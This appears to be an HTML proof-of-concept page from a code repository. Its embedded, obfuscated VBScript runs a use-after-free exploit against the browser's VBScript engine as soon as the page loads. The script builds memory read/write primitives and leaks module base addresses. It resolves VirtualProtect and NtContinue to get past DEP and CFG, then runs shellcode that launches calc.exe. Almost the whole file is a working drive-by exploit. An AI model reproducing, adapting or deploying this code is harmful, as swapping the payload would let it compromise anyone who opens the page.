353 lines
No EOL
9.7 KiB
HTML
353 lines
No EOL
9.7 KiB
HTML
<!doctype html>
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<html lang="en">
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<head>
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<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
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<meta http-equiv="x-ua-compatible" content="IE=10">
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<meta http-equiv="Expires" content="0">
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<meta http-equiv="Pragma" content="no-cache">
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<meta http-equiv="Cache-control" content="no-cache">
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<meta http-equiv="Cache" content="no-cache">
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</head>
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<body>
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<script language="vbscript">
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Dim lIIl
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Dim IIIlI(6),IllII(6)
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Dim IllI
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Dim IIllI(40)
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Dim lIlIIl,lIIIll
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Dim IlII
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Dim llll,IIIIl
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Dim llllIl,IlIIII
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Dim NtContinueAddr,VirtualProtectAddr
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IlII=195948557
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lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
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lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
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IllI=195890093
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Function IIIII(Domain)
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lIlII=0
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IllllI=0
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IIlIIl=0
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Id=CLng(Rnd*1000000)
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lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
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If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
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lIlII=lIlII-(&h86d+6447-&H219b)
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End If
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IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
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IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
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IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII
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End Function
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Function lIIII(ByVal lIlIl)
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IIll=""
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For index=0 To Len(lIlIl)-1
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IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
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Next
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IIll=IIll &"00"
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If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
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IIll=IIll &"00"
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End If
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For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
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lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
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lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
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lIIII=lIIII &"%u" &lIlIll &lIIIlI
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Next
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End Function
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Function lIlI(ByVal Number,ByVal Length)
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IIII=Hex(Number)
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If Len(IIII)<Length Then
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IIII=String(Length-Len(IIII),"0") &IIII 'pad allign with zeros
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Else
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IIII=Right(IIII,Length)
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End If
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lIlI=IIII
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End Function
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Function GetUint32(lIII)
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Dim value
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llll.mem(IlII+8)=lIII+4
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llll.mem(IlII)=8 'type string
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value=llll.P0123456789
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llll.mem(IlII)=2
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GetUint32=value
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End Function
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Function IllIIl(lIII)
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IllIIl=GetUint32(lIII) And (131071-65536)
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End Function
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Function lllII(lIII)
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lllII=GetUint32(lIII) And (&h17eb+1312-&H1c0c)
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End Function
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Sub llllll
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End Sub
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Function GetMemValue
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llll.mem(IlII)=(&h713+3616-&H1530)
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GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))
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End Function
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Sub SetMemValue(ByRef IlIIIl)
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llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl
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End Sub
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Function LeakVBAddr
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On Error Resume Next
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Dim lllll
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lllll=llllll
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lllll=null
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SetMemValue lllll
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LeakVBAddr=GetMemValue()
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End Function
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Function GetBaseByDOSmodeSearch(IllIll)
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Dim llIl
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llIl=IllIll And &hffff0000
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Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692
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llIl=llIl-65536
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Loop
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GetBaseByDOSmodeSearch=llIl
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End Function
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Function StrCompWrapper(lIII,llIlIl)
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Dim lIIlI,IIIl
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lIIlI=""
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For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
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lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
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Next
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StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
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End Function
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Function GetBaseFromImport(base_address,name_input)
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Dim import_rva,nt_header,descriptor,import_dir
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Dim IIIIII
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nt_header=GetUint32(base_address+(&h3c))
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import_rva=GetUint32(base_address+nt_header+&h80)
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import_dir=base_address+import_rva
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descriptor=0
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Do While True
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Dim Name
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Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
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If Name=0 Then
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GetBaseFromImport=&hBAAD0000
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Exit Function
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Else
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If StrCompWrapper(base_address+Name,name_input)=0 Then
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Exit Do
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End If
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End If
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descriptor=descriptor+1
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Loop
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IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
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GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
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End Function
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Function GetProcAddr(dll_base,name)
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Dim p,export_dir,index
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Dim function_rvas,function_names,function_ordin
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Dim Illlll
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p=GetUint32(dll_base+&h3c)
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p=GetUint32(dll_base+p+&h78)
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export_dir=dll_base+p
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function_rvas=dll_base+GetUint32(export_dir+&h1c)
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function_names=dll_base+GetUint32(export_dir+&h20)
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function_ordin=dll_base+GetUint32(export_dir+&h24)
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index=0
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Do While True
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Dim lllI
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lllI=GetUint32(function_names+index*4)
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If StrCompWrapper(dll_base+lllI,name)=0 Then
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Exit Do
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End If
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index=index+1
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Loop
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Illlll=IllIIl(function_ordin+index*2)
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p=GetUint32(function_rvas+Illlll*4)
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GetProcAddr=dll_base+p
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End Function
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Function GetShellcode()
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IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII("")))
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IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
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GetShellcode=IIlI
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End Function
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Function EscapeAddress(ByVal value)
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Dim High,Low
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High=lIlI((value And &hffff0000)/&h10000,4)
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Low=lIlI(value And &hffff,4)
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EscapeAddress=Unescape("%u" &Low &"%u" &High)
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End Function
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Function lIllIl
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Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
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IlllI=lIlI(NtContinueAddr,8)
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IlIII=Mid(IlllI,1,2)
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llllI=Mid(IlllI,3,2)
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llIII=Mid(IlllI,5,2)
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lIllI=Mid(IlllI,7,2)
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IIlI=""
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IIlI=IIlI &"%u0000%u" &lIllI &"00"
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For IIIl=1 To 3
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IIlI=IIlI &"%u" &llllI &llIII
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IIlI=IIlI &"%u" &lIllI &IlIII
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Next
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IIlI=IIlI &"%u" &llllI &llIII
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IIlI=IIlI &"%u00" &IlIII
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lIllIl=Unescape(IIlI)
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End Function
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Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
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Dim IIlI
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IIlI=String((100334-65536),Unescape("%u4141"))
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IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
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IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
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IIlI=IIlI &EscapeAddress(&h3000)
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IIlI=IIlI &EscapeAddress(&h40)
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IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
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IIlI=IIlI &String(6,Unescape("%u4242"))
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IIlI=IIlI &lIllIl()
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IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
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WrapShellcodeWithNtContinueContext=IIlI
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End Function
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Function ExpandWithVirtualProtect(lIlll)
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Dim IIlI
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Dim lllllI
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lllllI=lIlll+&h23
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IIlI=""
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IIlI=IIlI &EscapeAddress(lllllI)
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IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141"))
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IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
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IIlI=IIlI &EscapeAddress(&h1b)
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IIlI=IIlI &EscapeAddress(0)
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IIlI=IIlI &EscapeAddress(lIlll)
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IIlI=IIlI &EscapeAddress(&h23)
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IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343"))
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ExpandWithVirtualProtect=IIlI
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End Function
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Sub ExecuteShellcode
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llll.mem(IlII)=&h4d 'DEP bypass
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llll.mem(IlII+8)=0
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msgbox(IlII) 'VT replaced
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End Sub
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Class cla1
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Private Sub Class_Terminate()
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Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
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IllI=IllI+(&h14b5+2725-&H1f59)
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lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
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End Sub
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End Class
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Class cla2
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Private Sub Class_Terminate()
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Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
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IllI=IllI+(&h880+542-&Ha9d)
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lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
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End Sub
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End Class
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Class IIIlIl
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End Class
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Class llIIl
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Dim mem
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Function P
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End Function
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Function SetProp(Value)
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mem=Value
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SetProp=0
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End Function
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End Class
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Class IIIlll
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Dim mem
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Function P0123456789
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P0123456789=LenB(mem(IlII+8))
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End Function
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Function SPP
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End Function
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End Class
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Class lllIIl
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Public Default Property Get P
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Dim llII
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P=174088534690791e-324
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For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
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IIIlI(IIIl)=(&h2176+711-&H243d)
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Next
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Set llII=New IIIlll
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llII.mem=lIlIIl
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For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
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Set IIIlI(IIIl)=llII
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Next
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End Property
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End Class
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Class llllII
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Public Default Property Get P
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Dim llII
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P=636598737289582e-328
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For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
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IllII(IIIl)=(&h442+2598-&He68)
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Next
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Set llII=New IIIlll
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llII.mem=lIIIll
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For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
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Set IllII(IIIl)=llII
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Next
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End Property
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End Class
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Set llllIl=New lllIIl
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Set IlIIII=New llllII
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Sub UAF
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For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
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Set IIllI(IIIl)=New IIIlIl
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Next
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For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
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Set IIllI(IIIl)=New llIIl
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Next
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IllI=0
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For IIIl=0 To 6
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ReDim lIIl(1)
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Set lIIl(1)=New cla1
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Erase lIIl
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Next
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Set llll=New llIIl
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IllI=0
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For IIIl=0 To 6
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ReDim lIIl(1)
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Set lIIl(1)=New cla2
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Erase lIIl
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Next
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Set IIIIl=New llIIl
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End Sub
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Sub InitObjects
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llll.SetProp(llllIl)
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IIIIl.SetProp(IlIIII)
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IlII=IIIIl.mem
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End Sub
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Sub StartExploit
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UAF
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InitObjects
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vb_adrr=LeakVBAddr()
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Alert "CScriptEntryPointObject Leak: 0x" & Hex(vb_adrr) & vbcrlf & "VirtualTable address: 0x" & Hex(GetUint32(vb_adrr))
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vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
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Alert "VBScript Base: 0x" & Hex(vbs_base)
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msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
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Alert "MSVCRT Base: 0x" & Hex(msv_base)
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krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
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Alert "KernelBase Base: 0x" & Hex(krb_base)
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ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
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Alert "Ntdll Base: 0x" & Hex(ntd_base)
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VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
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Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr)
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NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
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Alert "KernelBase!VirtualProtect Address 0x" & Hex(NtContinueAddr)
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SetMemValue GetShellcode()
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ShellcodeAddr=GetMemValue()+8
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Alert "Shellcode Address 0x" & Hex(ShellcodeAddr)
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SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
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lIlll=GetMemValue()+69596
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SetMemValue ExpandWithVirtualProtect(lIlll)
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llIIll=GetMemValue()
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Alert "Executing Shellcode"
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ExecuteShellcode
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End Sub
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StartExploit
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</script>
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</body>
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</html> |